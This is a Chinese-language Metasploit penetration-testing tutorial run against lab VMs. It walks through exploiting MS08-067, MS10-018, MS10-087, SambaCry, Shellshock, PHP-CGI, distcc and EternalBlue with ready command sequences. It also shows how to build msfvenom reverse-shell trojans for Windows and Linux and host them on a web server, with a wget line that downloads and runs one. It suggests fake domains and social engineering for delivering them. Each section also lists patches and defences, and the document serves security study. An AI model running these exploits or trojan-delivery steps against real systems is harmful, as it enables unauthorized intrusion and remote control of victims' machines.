1、框架目录结构
MSF框架在kali机的/usr/share/metasploit-framework/目录:

- Modules:用户用到的各种模块几乎都在这里,用户使用use这个msf这里时,就是用到了这个目
录下的模块。 - Data:不需要关注。
- Plugins:这里的模块用户需要使用load 来加载,提供数据库连接插件,和各种要用到的插件。
- Scripts:这个目录下的文件大都是Meterpreter这个模块利用的脚本。
- Tools:包含一些有用的脚本和零散的工具。
了解即可。
2、MSF基本命令
使用msfconsole打开使用框架,有msf6 >就进入了
帮助
? [你需要了解的命令]
[你需要了解的命令] -h

search
搜索一些模块,比如你信息搜集到了目标机的型号版本,有对应的漏洞就search一下,看有没有可以利用的模块:
search ms17_010

use
使用模块,搜到了对应模块,复制名字使用它:
use exploit/windows/smb/ms17_010_eternalblue

show options
查看使用模块要配置的参数

back
从环境返回:

connect
连接一个主机,比如:
connect www.baidu.com 80
info
显示一个或多个模块的信息:
info exploit/windows/smb/ms17_010_eternalblue

jobs
显示和管理作业(和windows任务管理器的进程作用一样):

sessions
显示任务,-i 选择对应任务序号进入
sessions
sessions -i [对应序号]
quit/exit
退出msf
3、MSF渗透测试
网络服务器攻击渗透(MS08-067)
靶机:WinXPenSP3
命令汇总
假设我们信息搜集到目标机有这个漏洞。
msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST [目标机IP]
run
shell
net user
net user test test /add
net user
net user test /del
操作实现
use的时候可能会失败,多试几次。

获取shell后可以进行命令行操作了。

漏洞原理
详细原理参见MS08-067漏洞原理及详尽分析过程-来自FreeBuf.COM
a.漏洞利用条件与影响
-
影响系统:Windows 2000、XP、Server 2003等早期版本的系统,未安装2008年10月发布的补丁(KB958644)。查看Windows安装的补丁使用
systeminfo命令。 - 利用限制:默认配置下,Windows XP的防火墙会阻止外部RPC连接,但若启用文件共享或禁用防火墙则漏洞可被远程利用。Windows Vista及更高版本需通过身份验证。
b.防御措施
- 补丁修复:安装微软官方补丁KB958644是根本解决方案。
- 网络配置:关闭445端口、启用防火墙限制SMB服务的外部访问。
- 流量监控:检测包含恶意路径的SMB流量,例如使用正则表达式匹配异常路径模式。
浏览器攻击渗透(MS10-018)
靶机:WinXPenSP3
命令汇总
msfconsole
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST [kali自己的ip]
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j
#等待靶机访问网址
jobs
sessions
sessions -i [对应序号]
shell
操作实现
kali执行后会生成一个网址 http://192.168.49.128:8080/Uh3ioGYIMwxK (不固定),使用靶机IE访问,访问成功后,使用命令就能得到shell:

漏洞原理
a.漏洞利用链
-
触发组件:IE 6/7/8版本中集成的
Tabular Data Control(TDC)ActiveX控件,用于处理表格数据加载(如CSV文件)。 - 初始阶段:用户访问恶意网页或点击钓鱼链接,触发IE加载包含恶意TDC脚本的HTML页面。
- 内存布局操控:通过JavaScript动态分配内存,精确布置Shellcode地址。
- 控制流劫持:利用内存损坏覆盖虚函数表(vtable)或返回地址,跳转至攻击者预设的指令(如JMP ESP 指令)。
b.防御措施
1.官方补丁修复
- 补丁编号:微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存处理逻辑。
- 补丁验证:安装后,攻击尝试会因内存保护机制失效而无法触发Shellcode。
2.临时缓解方案
- 禁用ActiveX控件:通过IE安全设置禁用TDC控件(CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83)
- 启用DEP/ASLR:在高级IE设置中强制启用数据执行保护和地址空间随机化。
应用软件格式渗透 利用word去渗透(MS10-087)
靶机:WinXPenSP3
命令汇总
msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe #可以写恶意语句
set FILENAME ceshi.rtf
run
操作实现
运行命令后会生成一个 ceshi.rtf 的文件,给出了路径,想办法把它移到靶机上,渗透的话就是用一些社会工程学,然后靶机运行次文件就会执行set CMD calc.exe设置好的命令打开计算器。

漏洞原理
a.漏洞影响范围
- 操作系统:Windows XP SP3、Windows Server 2003、Vista、7。
- Office版本:Office 2003 SP3、2007 SP2、2010、Mac版Office 2004-2011.
b.防御措施
1.官方补丁修复
- 补丁编号:KB2423930(MS10-087)修复了mso.dll中的路径处理逻辑,增加输入长度校验并重构栈缓冲区分配策略。
- 补丁验证:使用 Bindiff 对比补丁前后DLL文件,可发现关键函数(如 Canonicalize PathName)的指令修改。
2.临时缓解方案
- 禁用RTF解析:通过组策略禁用Word的RTF文件解析功能(设置路径:
HKCU\Software\Microsoft\Office\...\Word\Security)。 - 启用防护机制:强制启用DEP(Data Execution Prevention)和Office沙箱(Protected View)
利用samba服务漏洞入侵Linux主机(CVE-2017-7494)
靶机:vulhub
命令汇总
#vuehub上使用root执行(密码root1234%)
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
#kali执行
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS [ubuntu_ip]
run
id
操作实现


漏洞原理
详见【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-漏
SambaCry分析报告
a.漏洞影响范围
- 可写共享目录:攻击者需具备对Samba共享目录的写入权限(如匿名访问或弱口令账户)。
- Samba版本范围:影响Samba 3.5.0至4.6.4/4.5.10/4.4.14之间的所有未修补版本。
b.防御措施
1.官方补丁修复
- 升级至Samba 4.6.4/4.5.10/4.4.14或更高版本,修补 is_known_pipename 函数的路径验证逻辑。
- 验证方法:使用命令 smbd--version 确认版本,或检查补丁文件(如lib/pipes.c中的路径限制代码)。
2.临时缓解方案
- 禁用命名管道支持:在Samba配置文件 smb.conf 的[global]段添加 nt pipe supp ort = no 并重启服务。
- 限制共享目录权限:设置共享目录为只读,避免攻击者上传恶意文件。
3.网络语行为防护
- 防火墙策略:限制外部对445端口的访问,仅允许可信IP连接。
- 入侵检测规则:监控SMB流量中的异常路径请求(如包含/符号的管道名称)。
- 权限最小化:以非root用户运行Samba服务,降低漏洞利用后的危害。
Bash Shellshock(破壳CVE-2014-6271)
靶机:vulhub
命令汇总
#vulhub上使用root执行
docker-compose down
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
#访问http://[vulhub_ip]:8080/victim.cgi成功即可
#kali执行
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS [vulhub_ip]
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id
操作实现



漏洞原理
详见CVE-2014-6271(shellshock破壳漏洞)-toby123-博客园,ShellShock漏洞原理分析-阿里云开发者社区
a.漏洞影响范围
- 操作系统:所有使用Bash 1.14至4.3版本的Linux/Unix系统,包括Red Hat、Centos、Ubuntu、Debian、Fedora、Mac OS × 10.10等。
- 容器与IoT设备:Docker镜像、嵌入式Linux设备(如路由器)因长期未更新Bash版本成为重灾区。
b.防御措施
1.官方补丁修复
- 补丁机制:通过修改 parse_and_execute 函数,增加 SEVAL_FUNCDEF 和 SEVAL_ON ECMD 标志,限制环境变量仅能包含单一函数定义,禁止附加额外命令。
- 验证方法:
bash --version # 确认版本≥4.3-013
env x='() { :;}; echo Vulnerable' bash -c "echo test" # 输出应为"test"而非"Vulnerable"
2.临时缓解方案
- 禁用Bash函数导出:
set -f #禁用函数导出(需修改系统启动脚本)
配置Web服务器过滤规则:
Apache:使用 mod_security 模块拦截包含 () { 的HTTP头。
Nginx:正则匹配并拒绝恶意请求。
3.纵深防御体系
- 权限隔离:以非特权用户运行Web服务(如
[www-data](https://www-data)),限制Bash执行权限。 - 入侵检测(IDS):监控网络流量中的异常环境变量模式(如
() {字符串)。 - 容器安全:使用Alpine Linux等不依赖Bash的轻量级基础镜像。
PHP CGI漏洞利用(CVE-2012-1823)
靶机:vulhub
命令汇总
#vuehub上使用root执行
docker-compose down
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose build
docker-compose up -d
docker-compose config
#环境启动后,访问 http://[vulhub_ip]:8080/ 可见“Hello”字样。
#访问 http://[vulhub_ip]:8080/index.php?-s 即爆出源码,说明漏洞存在。
#kali执行
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS [vulhub_ip]
set RPORT 8080
run
shell
id
操作实现
vulhub上操作后浏览器访问链接爆出源码,漏洞存在。


漏洞原理
详见PHP-CGI远程代码执行漏洞(CVE-2012-1823)-AllFalls-博客园,CVE-2024-4577 分析与复现
a.漏洞影响范围
- PHP版本:5.0.0<PHP<5.3.11,5.4.0<PHP<5.4.1
- 操作系统:所有使用PHP-CGI的Linux/Unix及Windows系统(如XAMPP环境)。
b.防御措施
1.官方补丁修复
- 修复版本:PHP 5.3.12、5.4.2及更高版本。
- 补丁机制:在 main() 函数中增加参数过滤逻辑,禁止将查询字符串解析为命令行参数。
2.临时缓解方案
- 禁用PHP-CGI模式:改用FastCGI(PHP-FPM)或模块化集成模式(如mod_php)。
- 配置Web服务器过滤规则:
Apache:使用 mod_rewrite 拦截包含-d-s 等参数的请求。
Nginx:通过正则表达式匹配并拒绝异常查询字符串。 - 权限隔离:以非特权用户(如
[www-data](https://www-data))运行PHP进程,限制命令执行能力。
3.入侵检测与监控
- 日志分析:监控访问日志中异常的
?-d或?-s模式。 - 行为检测:识别PHP进程执行系统命令(如
system()、exec())的异常行为。
Distcc后门漏洞(CVE-2004-2678)
靶场:Metasploitable2-Linux 用户名/密码 msfadmin/msfadmin

命令汇总
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost [ms_ip]
set lhost [kali_ip]
exploit (run也可以)
id
操作实现
打开ms靶机,kali机设置好就可以拿到shell了:

漏洞原理
Distcc的核心作用:Distcc是一种用于分布式编译的开源工具,允许将大型代码项目(如Linux内核)的编译任务分割到多台服务器并行处理,从而加速构建过程。其默认监听端口为3632,客户端通过TCP协议与服务器通信,发送编译指令(如gcc命令)和代码片段。
漏洞核心原理:配置缺陷与命令注入:
-
配置不严格的安全边界
默认开放访问:早期Distcc版本(如2.x)在默认配置中未对客户端IP进行限制,允许任意主机连接至3632端口。
命令执行权限:distccd服务以高权限用户(如root)运行,编译过程中可执行系统命令(如调用 gcc、make)。 -
恶意编译指令注入
攻击者可构造包含Shell命令的编译请求,利用Distcc对客户端指令的信任机制,绕过输入验证直接执行。例如:
distccd --job-args "malicious_command"
服务端解析指令时,未对--job-args参数进行过滤,导致命令注入。
-
漏洞触发场景
直接连接:攻击者通过 nc或自定义脚本连接至目标3632端口,发送恶意编译指令。
反射攻击:在复杂网络环境中,攻击者可利用中间服务器转发恶意请求,规避IP黑名单限制。
a.漏洞影响范围
- Distcc版本:2.x系列(如2.1、2.2)及集成了Distcc的Xcode 1.5版本。
- 操作系统:Linux、Unix及macOS系统(依赖Distcc的编译环境)。
b.防御措施
1.官方补丁修复
- 升级至Distcc 3.0及以上版本,修复默认配置的开放访问问题。
- 验证命令:
distccd --version,确认版本号>3.0。
2.网络与配置加固
- 访问控制:在 distccd 配置文件中限制允许连接的客户端IP(如
--allow 192.168.1.0/24)。 - 权限降级:以非特权用户(如distcc)运行服务,限制命令执行能力。
- 防火墙策略:关闭非必要的3632端口,或限制其仅在内网开放。
3.入侵检测与响应 - 流量监控:分析3632端口的通信数据,检测异常编译指令(如包含
/bin/sh或curl)。 - 日志审计:定期检查
/var/log/distccd.log中的编译请求来源和参数。
Metasploit永恒之蓝(ms17_010)
靶机:有漏洞的Windows7
命令汇总
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts [win_ip]
set LHOST 0.0.0.0
set payload windows/x64/shell/bind_tcp
run
ls
run vnc
shell
操作实现
在kali机上操作了命令之后就能使用Windows的命令行了

使用
run vnc命令可以监控设备屏幕:

漏洞原理
详见MS17-010 漏洞研究--免考课题 20155104 赵文昊-囚月-博客园
a.漏洞影响范围
- Windows客户端:XP、Vista、7、8、10(2017年3月前版本)。
- Windows服务器:2003、2008、2008 R2、2012(未安装KB4013389补丁)。
b.防御措施
1.官方补丁修复
- 安装微软官方补丁KB4013389(MS17-010),重构SMB协议的内存处理逻辑。
- 验证命令:
Get-Hotfix -Id KB4013389#检查补丁安装状态
2.网络层防护
- 关闭SMBv1协议:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol - 防火墙策略:阻断入站445端口的非必要访问(企业内网需保留时启用IP白名单)。
3..纵深防御体系 - 启用SMB签名:强制所有SMB通信使用数字签名,防止中间人攻击。
- 应用控制策略:通过组策略限制未知进程的内核操作权限。
- 内存保护技术:启用HVCI(基于虚拟化的安全)和CFG(控制流防护)。
Metasploit病毒制作控制电脑
Windows攻击流程
1.kali机操作
在kali机打开msf:msfconsole
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=8888 -f exe > payload.exe
-p:有效载荷
LHOST:kali_ip
LPORT:监听端口(不要与已使用端口重复)
-f:生成木马类型
>:保存文件名(生成文件在家目录下)
命令可通过网页反弹shell生成。

放置木马至网站根目录:

启动apache服务:
service apache2 start

通过ip地址访问网站:

则木马下载路径为192.168.49.128/payload.exe(可以注册一些假域名装扮页面)

攻击机开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp(载荷要与生成木马的相同)
set lhost [kali_ip](192.168.49.128,与木马相同)
set lport 制造木马对应的监听端口(8888,与木马相同)

2.Windows靶机受控


获取shell权限:
shell,乱码使用chcp 65001临时消除:
Linux攻击流程
1.kali机操作
生成木马:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.49.128 LPORT=9999 -f elf -o shell.elf
-p:有效载荷
LHOST:kali_ip
LPORT:监听端口(不要与已使用端口重复)
-f:生成木马类型
-o:保存文件名(生成文件在家目录下)
同样放置木马至网站根目录,然后kali开启监听:
mv /home/kali/shell.elf /var/www/html/shell.elf
service apache2 start
use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set lhost 192.168.49.128(kali_ip)
set lport 9999(监听端口)
run

2.Linux靶机受控
下载文件并运行,命令可通过网页文件下载生成,无端口不要写端口号。
wget http://192.168.49.128:/shell.elf -O ~/shell.elf
sudo chmod 755 shell.elf
./shell.elf

